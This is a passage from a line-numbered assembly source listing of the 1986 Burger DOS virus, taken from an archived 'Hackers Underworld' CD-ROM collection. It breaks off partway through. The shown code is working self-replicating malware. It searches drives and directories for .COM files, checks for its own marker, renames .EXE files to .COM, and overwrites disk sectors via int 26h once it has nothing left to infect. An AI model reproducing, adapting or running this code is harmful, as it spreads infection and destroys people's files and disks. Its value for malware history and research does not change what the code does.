home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / BURGER.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  15KB  |  448 lines

  1.         page 70,120
  2.         Name VIRUS
  3. ;*************************************************************************
  4.  
  5. ;       Program Virus           Ver.:   1.1
  6. ;       Copyright by R. Burger 1986
  7. ;       This is a demonstration program for computer
  8. ;       viruses. It has the ability to replicate itself,
  9. ;       and thereby modify other programs
  10. ;*************************************************************************
  11.  
  12.  
  13.  
  14. Code    Segment
  15.         Assume  CS:Code
  16. progr   equ     100h
  17.         ORG     progr
  18.         
  19. ;*************************************************************************
  20.  
  21. ;       The three NOP's serve as the marker byte of the
  22. ;       virus which will allow it to identify a virus
  23. ;*************************************************************************
  24.  
  25. MAIN:
  26.         nop
  27.         nop
  28.         nop
  29.         
  30. ;*************************************************************************
  31.  
  32. ;       Initialize the pointers
  33. ;*************************************************************************
  34.  
  35.         mov ax,00
  36.         mov es:[pointer],ax
  37.         mov es:[counter],ax
  38.         mov es:[disks],al
  39.         
  40. ;*************************************************************************
  41.  
  42. ;       Get the selected drive
  43. ;*************************************************************************
  44.  
  45.         mov ah,19h              ; drive?
  46.         int 21h
  47.  
  48. ;*************************************************************************
  49.  
  50. ;       Get the current path on the current drive
  51. ;*************************************************************************
  52.  
  53.         mov cs:drive,al         ; save drive
  54.         mov ah,47h              ; dir?
  55.         mov dh,0
  56.         add al,1
  57.         mov dl,al               ; in actual drive
  58.         lea si,cs:old_path
  59.         int 21h
  60.         
  61. ;*************************************************************************
  62.  
  63. ;       Get the number of drives present.
  64. ;       If only one drive is present, the pointer for
  65. ;       search order will be set to search order + 6
  66. ;*************************************************************************
  67.  
  68.         mov ah,0eh              ; how many disks
  69.         mov dl,0                ;
  70.         int 21h
  71.         
  72.         mov al,01
  73.         cmp al,01               ; one drive?
  74.         jnz hups3
  75.         mov al,06
  76.         
  77. hups3:  mov ah,0
  78.         lea bx,search_order
  79.         add bx,ax
  80.         add bx,0001h
  81.         mov cs:pointer,bx
  82.         clc
  83.         
  84. ;*************************************************************************
  85.  
  86. ;       Carry is set, if no more .COM's are found.
  87. ;       Then, to avoid unnecessary work, .EXE files will
  88. ;       be renamed to .COM file and infected. 
  89. ;       This causes the error message "Program too lrage
  90. ;       to fit in memory" when starting larger infected 
  91. ;       EXE programs.
  92. ;*************************************************************************
  93.  
  94. change_disk:
  95.         jnc no_name_change
  96.         mov ah,17h              ; change exe to com
  97.         lea dx,cs:maske_exe
  98.         int 21h
  99.         cmp al,0ffh
  100.         jnz no_name_change      ; .EXE found?
  101.  
  102. ;*************************************************************************
  103.  
  104. ;       If neither .COM nor .EXE is found, then sectors will
  105. ;       be overwritten depending on the system time in
  106. ;       milliseconds. This is the time of the complete
  107. ;       "infection" of a storage medium. The virus can find
  108. ;       nothing more to infect and starts its destruction.
  109. ;*************************************************************************
  110.  
  111.         mov ah,2ch     ; read system clock
  112.         int 21h
  113.         mov bx,cs:pointer
  114.         mov al,cs:[bx]
  115.         mov bx,dx
  116.         mov cx,2
  117.         mov dh,0
  118.         int 26h         ; write crap on disk
  119.         
  120. ;*************************************************************************
  121.  
  122. ;       Check if the end of the search order table has been
  123. ;       reached. If so, end.
  124. ;*************************************************************************
  125.  
  126. no_name_change:
  127.         mov bx,cs:pointer
  128.         dec bx
  129.         mov cs:pointer,bx
  130.         mov dl,cs:[bx]
  131.         cmp dl,0ffh
  132.         jnz hups2
  133.         jmp hops
  134.         
  135. ;*************************************************************************
  136.  
  137. ;       Get new drive from search order table and
  138. ;       select it.
  139. ;*************************************************************************
  140.  
  141. hups2:
  142.         mov ah,0eh
  143.         int 21h         ; change disk
  144.         
  145. ;*************************************************************************
  146.  
  147. ;       Start in the root directory
  148. ;*************************************************************************
  149.  
  150.         mov ah,3bh      ; change path
  151.         lea dx,path
  152.         int 21h
  153.         jmp find_first_file
  154.         
  155. ;*************************************************************************
  156.  
  157. ;       Starting from the root, search for the first subdir
  158. ;       First convert all .EXE files to .COM in the old 
  159. ;       directory.
  160. ;*************************************************************************
  161.  
  162. find_first_subdir:
  163.         mov ah,17h              ; change exe to com
  164.         lea dx,cs:maske_exe
  165.         int 21h
  166.         mov ah,3bh              ; use root dir
  167.         lea dx,path
  168.         int 21h
  169.         mov ah,04eh             ;Search for first subdirectory
  170.         mov cx,00010001b        ; dir mask                        
  171.         lea dx,maske_dir
  172.         int 21h
  173.         jc change_disk
  174.         
  175.         mov bx,CS:counter
  176.         INC BX
  177.         DEC bx
  178.         jz  use_next_subdir
  179.         
  180. ;*************************************************************************
  181.  
  182. ;       Search for the next subdir. If no more directories
  183. ;       are found, the drive will be changed.
  184. ;*************************************************************************
  185.  
  186. find_next_subdir:
  187.         mov ah,4fh      ; search for next subdir
  188.         int 21h
  189.         jc change_disk
  190.         dec bx
  191.         jnz find_next_subdir
  192.         
  193. ;*************************************************************************
  194.  
  195. ;       Select found directory
  196. ;*************************************************************************
  197.  
  198. use_next_subdir:
  199.         mov ah,2fh      ; get dta address
  200.         int 21h
  201.         add bx,1ch
  202.         mov es:[bx],'\ ' ; address of name in dta
  203.         inc bx
  204.         push ds
  205.         mov ax,es
  206.         mov ds,ax
  207.         mov dx,bx
  208.         mov ah,3bh      ; change path
  209.         int 21h
  210.         pop ds
  211.         mov bx,cs:counter
  212.         inc bx
  213.         mov CS:counter,bx
  214.         
  215. ;*************************************************************************
  216.  
  217. ;       Find first .COM file in the current directory.
  218. ;       If there are non, search the next directory.
  219. ;*************************************************************************
  220.  
  221. find_first_file:
  222.         mov ah,04eh     ; Search for first
  223.         mov cx,00000001b ; mask
  224.         lea dx,maske_com        ;
  225.         int 21h
  226.         jc find_first_subdir
  227.         jmp check_if_ill
  228.         
  229. ;*************************************************************************
  230.  
  231. ;       If the program is already infected, search for
  232. ;       the next program.
  233. ;*************************************************************************
  234.  
  235. find_next_file:
  236.         mov ah,4fh      ; search for next
  237.         int 21h
  238.         jc  find_first_subdir
  239.         
  240. ;*************************************************************************
  241.  
  242. ;       Check if already infected by the virus.
  243. ;*************************************************************************
  244.  
  245. check_if_ill:
  246.         mov ah,3dh      ; open channel
  247.         mov al,02h      ; read/write
  248.         mov dx,9eh      ; address of name in dta
  249.         int 21h
  250.         mov bx,ax       ; save channel
  251.         mov ah,3fh      ; read file
  252.         mov cx,buflen   ;
  253.         mov dx,buffer   ; write in buffer
  254.         int 21h
  255.         mov ah,3eh      ; CLODE FILE
  256.         int 21h
  257.         
  258. ;****************************************************